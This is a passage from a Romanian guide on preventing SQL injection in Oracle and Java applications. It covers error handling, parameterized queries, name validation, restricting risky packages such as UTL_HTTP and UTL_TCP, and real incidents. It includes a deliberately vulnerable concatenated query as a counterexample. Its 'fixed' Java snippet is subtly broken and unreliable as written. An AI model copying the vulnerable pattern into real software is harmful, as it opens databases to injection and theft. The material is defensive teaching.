 mesajele de eroare să conțină cât mai puține de detalii cu privire la baza de date, care
pot fi utilizare pentru a compromite întreg sistemul.
 mesajele de eroare nu trebuie să conțină numele metodelor, funcțiilor în care a avut
loc eroarea.
 mesajele de eroare trebuie păstrate într-un fișier log, însă trebuie restricționat accesul
la ele pentru a evita un posibil nou atac.

20
 în fișierele log nu trebuie reținute informații precum parolele userilor.
 mesajele de eroare nu trebuie să conțină informații privind evenimente interne ale
sistemului, ca de exemplu, în caz de logare nereușită, utilizatorul nu trebuie să fie
informații dacă există sau nu userul respectiv, ci doar că autentificarea nu a fost
posibilă.

Excepții

Cererile parametrizate trebuie folosite pentru fiecare comandă SQL in PL/SQL sau Java, cu
toate că, rareori acestea nu pot fi utilizate, ca de exemplu inserarea dinamică de tabele sau
nume de coloane.

Nume de tabele dinamice

Atunci când se generează o instrucțiune SQL dinamică, variabilele de legătură nu pot fi


folosite pentru nume de tabele sau nume de coloane.

În majoritatea aplicațiilor, numele obiectelor din baza de date (tabele, nume de coloane)
pot conține doar caracatere alfanumerice, sau caracterul underscore ( _ ), semnul dolar ($) sau
diez (#). Apostroful (') sau alte caractere speciale nu sunt valide.

Orice tabel dinamic sau nume de coloană trebuie să fie validate, iar toate caracterele
invalide ar trebui eliminate, în special apostrofurile. Pentru aceasta, în PL/SQL, poate fi utilizată
funcția TRANSLATE:

translate ( upper ( <input string> ),


'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@. `~!%^*()-
=+{}[];":''?/><,|\',

'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.');

Clauza LIKE

Variabilele de legătură sunt valide în clauzele LIKE. Caracterele % și _ ar trebui adăugate


direct la șirul de caractere, decât prin concatenarea cu instrucțiunea SQL.

Umrătoarea concatenare nu ar trebui utilizată:

String name = request.getParameter("name");

conn.prepareStatement("SELECT id

FROM users

WHERE name LIKE '%" + name + "%'");

21
Mai degrabă se folosesc comenzi multiple și o cerere parametrizată pentru a crea în mod
corespunzător o instrucțiune SQL

String name = request.getParameter("name");

name = query.append("%").append(name).append("%");

pstmt = conn.prepareStatement("SELECT id

FROM users

WHERE name LIKE ?");

pstmt.setString (1, name);

Funcții Oracle

Oracle are la bază peste 1000 de funcții în aproximativ 175 de pachete standard care pot fi
exploatate în atacurile SQL Injection.

Determinarea privilegiilor funcțiilor

Toate funcțiile disponibile PUBLIC pot fi găsite prin următoarea cerere:

SELECT *

FROM dba_tab_privs p, all_arguments a

WHERE grantee = 'PUBLIC'

AND privilege = 'EXECUTE'

AND p.table_name = a.package_name

AND p.owner = a.owner

AND a.position = 0

AND a.in_out = 'OUT'

ORDER BY p.owner, p.table_name, p.grantee;

22
Restricționarea accesului la funcții

Accesul la o anumită funcție dintr-un pachet nu poate fi restricționat, ci doar accesul la


întreg pachetul. Pentru a restricționa accesul PUBLIC la un pachet se folosește următoarea
comandă:

REVOKE EXECUTE ON <package_name> FROM public;

Funcții standard

Supraîncărcarea bufferelor a fost descoperită în câteva funcții standard ORACLE:


BFILENAME, TZ_OFFSET, TO_TIMESTAMP_TZ, FROM_TZ, NUMTOYMINTERVAL,
și NUMTODSINTERVAL.

Aceste funcții aparțin pachetului STANDARD și nu există nici o modalitate de a restricționa


accesul la ele.

Funcții oferite de ORACLE

Oracle oferă sute de funcții în pachetele bazei de date standard. Majoritatea acestor
pachete sunt prefixate de DBMS_ și UTL_. Dacă un anumit pachet nu este folosit de aplicație,
accesul la el ar trebui limitat.

Exemple de pachete standard:

DBMS_JAVA_TEST

DBMS_LOCK

DBMS_PIPE

DBMS_RANDOM

UTL_FILE

UTL_HTTP

UTL_SMTP

UTL_TCP

23
Exemple reale - SQL Injection

 1 noiembrie 2005 : un elev de liceu a folosit o inserție SQL pentru a pătrunde în site-ul
unei reviste de securitate taiwaneze și a fura informațiile clienților.
 13 ianuare 2006 : un grup de infractori ruși au pătruns într-un site al guvernului Rhode
Island, și se presupune că a furat datele cărților de credit de la persoane care au făcut
afaceri online cu agențiile de stat.
 2 martie 2007 : Sebastian Bauer a descoperit un defect de inserție SQL în pagina de
login knorr.de.
 29 iunie 2007 : un infractor a neutralizat site-ul Microsoft din Marea Britanie folosind
SQL Injection. Un purtător de cuvânt al Microsoft a recunoscut problema site-ului The
Register din U.K..
 ianuarie 2008 : zeci de mii de PC-uri au fost infectate de un atac SQL Injection automat,
care a exploatat o vulnerabilitate în codul aplicațiilor ce utilizează Microsoft SQL Server
pentru stocarea bazei de date.
 17 august 2009 : Departamentul de Justiție al Statelor Unite au acuzat un cetățean
american, Albert Gonzalez și doi ruși anonimi de furtul a 130 milioane de numere de
cărți de credit folosind un atac SQL Injection. În relatările presei apare că “cel mai mare
caz de furt de identitate din istoria Statelor Unite”, omul a furat carduri de la un număr
de victime corporative după cercetarea sistemelor de prelucrare a plății. Printre
companiile lovite se numără: procesorul de sisteme de plată Heartland Payment
Systems, lanțul de magazine economice 7-Eleven și lanțul de supermarketuri Hannaford
Brothers.
 decembrie 2009 : un atacator a pătruns într-o bază de date RockYou! prin utilizarea unui
atac SQL Injection, care conținea în format text numele de utilizator și parolele
necriptate pentru aproximativ 32 milioane de utilizatori.

24
Bibliografie

http://www.wikipedia.org

http://unixwiz.net/techtips/sql-injection.html

“Using Database Functions in SQL Injection Attacks”

http://www.integrigy.com/security-resources

“OWASP Guide to Building Secure Web Applications”

http://www.owasp.org/index.php/Category:OWASP_Guide_Project

Additional Information on SQL Injection Attacks –

http://www.securityfocus.com/infocus/1644

http://www.nextgenss.com/papers/advanced_sql_injection.pdf

http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

Oracle Database Security Checklist –

http://otn.oracle.com/deploy/security/

25

S-ar putea să vă placă și